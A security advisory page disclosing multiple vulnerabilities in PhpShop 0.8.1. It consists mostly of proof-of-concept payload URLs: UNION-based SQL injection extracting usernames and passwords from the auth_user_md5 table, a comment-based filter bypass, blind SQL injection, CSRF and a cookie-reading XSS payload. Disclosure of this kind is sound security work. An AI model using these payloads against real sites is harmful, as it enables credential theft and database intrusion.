PhpShop 0.8.1 Multiple Vulnerabilities

2010-01-06 / 2010-01-07
Risk: High
Local: No
Remote: Yes

************************************************************** Application:PhpShop Version affected: 0.8.1 Website:http://www.phpshop.org/ Discovered By: Andrea Fabrizi Email:andrea.fabrizi (at) gmail (dot) com [email concealed] Web:http://www.andreafabrizi.it Vuln:Multiple Vulnerabilities ************************************************************** ### SQL INJECTION http://localhost/phpshop-0.8.1/?page=admin/function_list&module_id=11111 1' union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa http://localhost/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/un ion/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,us ername/**/from/**/auth_user_md5 -- aaa http://localhost/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and '1'='1 http://localhost/phpshop-0.8.1/?page=admin/module_form&module_id=1' and '1'='1 http://localhost/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7b a16db1799fd8d25dbcde4' and '1'='1 http://localhost/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_ category_id=6' and '1'='1 http://localhost/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad3 65513d6fe085a8aacaebc' and '1'='1 http://localhost/phpshop-0.8.1/?page=store/payment_method_form&payment_m ethod_id=1' and '1'='1 http://localhost/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1 ...and many others... The SQL Injection security checkcan be bypassed replacing spaces with comments (/**/) ###BLIND SQL INJECTION http://localhost/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 -- aaa ### CSRF http://localhost/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=3 21& ...and many others... ### XSS http://localhost/phpshop-0.8.1/?page=order/order_print&order_id=1"><scri pt>alert(document.cookie);</script> ...and many others...

References:

http://xforce.iss.net/xforce/xfdb/54587
http://www.securityfocus.com/archive/1/archive/1/508270/100/0/threaded
http://www.andreafabrizi.it/?exploits:phpshop
http://secunia.com/advisories/31948


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top